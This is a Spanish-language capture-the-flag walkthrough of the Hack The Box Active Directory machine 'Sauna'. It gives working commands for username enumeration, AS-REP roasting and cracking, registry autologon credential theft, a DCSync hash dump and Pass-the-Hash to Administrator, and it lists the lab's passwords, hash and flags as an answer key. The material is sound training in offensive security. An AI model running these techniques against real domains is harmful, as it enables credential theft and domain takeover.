Volver al laboratorio ~/iphobiuss/guias/05-sauna

Sauna

HTB WINDOWS EASY ACTIVE DIRECTORY DCSYNC

Guía para principiantes de Sauna, la #5 de la serie y la segunda de Active Directory. Refuerza el paradigma de Forest (AS-REP Roasting, DCSync, Pass-the-Hash) pero llega al mismo resultado, acceso como Administrator, por un camino totalmente distinto. Trae dos técnicas nuevas: sacar usuarios desde la web cuando el SMB anónimo no los da, y credenciales de autologon en el registro de Windows.

Mi cuadernoFavoritos y lectura guardados solo en este navegador.El punto de lectura se actualiza al desplazarte.Cuaderno opcional no disponible.
En esta guía
VPN: Sauna está en Machines, así que se usa la VPN normal (no la de Starting Point que pedía Vaccine). El flujo de conexión y el mapeo del dominio en /etc/hosts son los mismos de Forest (ver 00 · Setup). En esta guía la IP objetivo es 10.129.62.219 y el dominio EGOTISTICAL-BANK.LOCAL; la tuya será distinta.
Resumen del recorrido (contiene spoilers)
01
RECON
DC + web (puerto 80)
02
USUARIOS
web → usernames
03
AS-REP
fsmith → Thestrokes23
04
AUTOLOGON
registro → svc_loanmgr
05
DCSYNC
directo → PtH → root
Entorno y versiones documentadas
  • Kali Linux y VirtualBox: versiones no especificadas en la guía original.
  • Objetivo: Windows Server 2019.

Las versiones indicadas provienen del texto original. La fecha de edición identifica la revisión de esta página; no implica que se haya repetido el laboratorio.

Modo de lectura
▚

01 · RECONOCIMIENTO

Un DC como Forest, más una web: dos superficies de ataque.
PISTAIdentifica los puertos abiertos, sus servicios y versiones. Anota una hipótesis de entrada por cada servicio.
Ver solución paso a paso
Comandos / terminal
nmap -p- --min-rate 1000 -oA nmap/allports 10.129.62.219
nmap -sCV -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -oA nmap/detail 10.129.62.219

ttl=127 sugiere Windows (pista, se confirma con el fingerprint). La huella de AD conocida de Forest (Kerberos 88, LDAP 389/636, SMB 445, DNS 53, WinRM 5985) confirma un Domain Controller. El -sCV revela el dominio: EGOTISTICAL-BANK.LOCAL, host SAUNA, Windows Server 2019.

Mapea el dominio en /etc/hosts para que Kerberos resuelva el nombre (habitual en labs):

Comandos / terminal
sudo sh -c 'echo "10.129.62.219 EGOTISTICAL-BANK.LOCAL sauna.egotistical-bank.local SAUNA" >> /etc/hosts'
LA DIFERENCIA CON FOREST: EL PUERTO 80Aquí, además de todos los servicios de AD, hay una web (IIS, "Egotistical Bank"). Eso es una segunda superficie, y en Sauna resulta ser la puerta de entrada, porque el SMB anónimo no coopera como en Forest.
▚

02 · USUARIOS DESDE LA WEB

La técnica nueva de Sauna: de nombres de personas a nombres de usuario.
PISTALos nombres de personas publicados en una web pueden ayudarte a proponer nombres de cuenta.
Ver solución paso a paso

El SMB anónimo no da usuarios

Comandos / terminal
netexec smb 10.129.62.219 -u '' -p '' --users
# conecta (Null Auth:True) pero NO devuelve usuarios (a diferencia de Forest)

Sin lista de usuarios no hay AS-REP Roasting. Hay que conseguirla de otra fuente, y una web corporativa suele listar a su gente.

Nombres de empleados en la web

Navegando el sitio (http://10.129.62.219), la página about.html tiene una sección "Meet The Team" con seis empleados: Fergus Smith, Hugo Bear, Steven Kerb, Shaun Coins, Bowie Taylor, Sophie Driver. (Incluso hay un chiste en el HTML: "so many bank account managers but only one security manager".)

▚ De nombres a nombres de usuario

Sabes que existe "Fergus Smith", pero no su username en el dominio. Las empresas siguen una convención (fsmith, fergus.smith, fergussmith, smithf...), pero no sabes cuál. La táctica: generar todas las variantes probables y probar cuáles existen de verdad contra Kerberos.

Generar y probar candidatos

Crea un users.txt con las variantes de cada nombre y pásalo a GetNPUsers. Este comando tiene doble propósito: descarta los usuarios que no existen (KDC_ERR_C_PRINCIPAL_UNKNOWN) y, si alguno existe y es AS-REP roasteable, suelta el hash.

Comandos / terminal
impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -no-pass -usersfile users.txt
# de todos los candidatos, solo fsmith existe... y suelta un $krb5asrep$

Resultado: la convención del dominio es primera letra + apellido (fsmith), y ese usuario tiene la pre-autenticación de Kerberos desactivada. Doble premio.

▚

03 · AS-REP ROASTING

Idéntico a Forest: pedir el hash sin autenticarse y romperlo offline.
PISTAInvestiga si todas las cuentas exigen preautenticación y qué respuesta entrega el servicio cuando no la requieren.
Ver solución paso a paso

Recordatorio del concepto (ver Forest): una cuenta sin pre-autenticación de Kerberos entrega información cifrada derivada de su contraseña sin que te autentiques. Se captura y se crackea offline.

Comandos / terminal
impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -no-pass -usersfile users.txt | grep '\$krb5asrep\$' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt   # -> Thestrokes23

Credenciales conseguidas por la vía web: fsmith / Thestrokes23.

▚

04 · FOOTHOLD · WINRM

Validar y entrar, el reflejo de Forest.
PISTAValida las credenciales conseguidas en un servicio de acceso remoto disponible.
Ver solución paso a paso
Comandos / terminal
netexec smb 10.129.62.219 -u fsmith -p Thestrokes23     # [+] válidas
netexec winrm 10.129.62.219 -u fsmith -p Thestrokes23   # (Pwn3d!) = entra por WinRM
evil-winrm -i 10.129.62.219 -u fsmith -p Thestrokes23
Comandos / terminal
# dentro de la shell:
type C:\Users\FSmith\Desktop\user.txt   # user flag
▚

05 · AUTOLOGON EN EL REGISTRO

La segunda técnica nueva: credenciales en texto claro escondidas en Windows.
PISTABusca dónde guarda Windows la configuración del inicio de sesión automático.
Ver solución paso a paso

▚ ¿Qué es el autologon y por qué filtra credenciales?

A veces un Windows se configura para iniciar sesión automáticamente al arrancar, sin pedir contraseña. Cuando eso pasa, las credenciales del usuario quedan guardadas en el registro, a veces en texto claro. Es una de las primeras cosas que revisar tras conseguir shell en un Windows.

Consultar el registro (Winlogon)

Comandos / terminal
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
# DefaultUserName  -> EGOTISTICALBANK\svc_loanmanager
# DefaultPassword  -> Moneymakestheworldgoround!

Segundo par de credenciales, por una vía nueva. El prefijo svc_ delata una cuenta de servicio, como svc-alfresco en Forest.

OJO: EL NOMBRE DEL REGISTRO VS EL REALEl registro dice svc_loanmanager, pero la cuenta que autentica de verdad en el dominio es svc_loanmgr (el nombre está abreviado en el sistema). Si una variante no valida, prueba la otra. Se confirma con netexec smb ... -u svc_loanmgr -p 'Moneymakestheworldgoround!'.
▚

06 · DCSYNC + PASS-THE-HASH

Mismo final que Forest, pero sin la cadena de permisos.
PISTALos permisos sobre la replicación del directorio pueden ser relevantes aunque la cuenta no sea administradora.
Ver solución paso a paso

▚ DCSync directo

En Forest hubo que concederse el DCSync abusando de una cadena de ACLs (Account Operators, GenericAll, WriteDacl). En Sauna, svc_loanmgr ya tiene de fábrica los derechos de replicación sobre el dominio (BloodHound los muestra como GetChanges y GetChangesAll). Así que el DCSync es directo: no hay pasos intermedios.

Volcar los hashes del dominio

Comandos / terminal
impacket-secretsdump egotistical-bank.local/svc_loanmgr:'Moneymakestheworldgoround!'@10.129.62.219

El rpc_s_access_denied inicial es el mismo aviso inofensivo de Forest. Debajo, vuelca todos los hashes. La línea que importa (RID 500 = Administrator):

Salida de ejemplo
Administrator:500:aad3b435...:823452073d75b9d1cf70ebdf86c7f98e:::

Pass-the-Hash como Administrator

Sin crackear nada: te autenticas con el hash NTLM directo (-H en vez de -p).

Comandos / terminal
evil-winrm -i 10.129.62.219 -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e
type C:\Users\Administrator\Desktop\root.txt   # root flag

Acceso como Administrator documentado. DCSync no demuestra por sí solo membresía en Domain Admins.

▚

TASKS · GUIDED MODE

Las flags son de una instancia concreta. En tu máquina serán distintas.
Mostrar respuestas del laboratorio

Desplaza la tabla horizontalmente. Con teclado, enfócala y usa las flechas ← →.

TaskRespuesta
HTML que revela los nombres de los empleadosabout.html
Usuario con la pre-autenticación de Kerberos deshabilitadafsmith
Formato del hash AS-REP (del 1er al 3er $, incluidos)$krb5asrep$23$
Contraseña del usuario fsmithThestrokes23
Puerto para conectarse y obtener una shell interactiva5985 (WinRM)
Usuario configurado para autologinsvc_loanmanager
Contraseña del usuario svc_loanmanagerMoneymakestheworldgoround!
Permiso peligroso sobre el dominio (el más largo)GetChangesAll
Nombre del ataque para autenticarse con el hashPass the Hash
User flag (escritorio de fsmith)f77a8d06c229a1a80f78d23e9d41f77a
Root flag (escritorio de Administrator)6014ff7af65ef38cf8d0a4a20e3bae9b
▚

MISMO DESTINO, OTRO CAMINO

Por qué una segunda AD consolida: mismos conceptos, vías nuevas.

Desplaza la tabla horizontalmente. Con teclado, enfócala y usa las flechas ← →.

FaseForestSauna
Lista de usuariosSMB anónimoWeb → nombres → usernames
EntradaAS-REP a svc-alfrescoAS-REP a fsmith (username deducido)
2ª credencial(no hubo)Autologon en el registro
Acceso a DCSyncCadena de ACLs → concederse DCSyncDCSync directo (permiso de fábrica)
FinalPass-the-HashPass-the-Hash

GENERAL principio transferible a otras máquinas. LAB heurística o convención de laboratorio (HTB), no una regla universal.

  • GENERALUsuarios desde la web: si el SMB anónimo no da usuarios, los nombres de empleados de la web + una convención (fsmith) se validan contra Kerberos con GetNPUsers.
  • GENERALAutologon en el registro: tras conseguir shell en Windows, revisa HKLM\...\Winlogon por DefaultPassword en texto claro.
  • GENERALDCSync directo: una cuenta con GetChanges/GetChangesAll vuelca todos los hashes sin cadenas de ACLs previas.
  • GENERALEl nombre del registro puede no ser el real: svc_loanmanager (registro) vs svc_loanmgr (cuenta). Prueba variantes.
  • GENERALReforzado de Forest: AS-REP Roasting, cracking offline con john, WinRM con evil-winrm, DCSync con secretsdump, Pass-the-Hash con -H.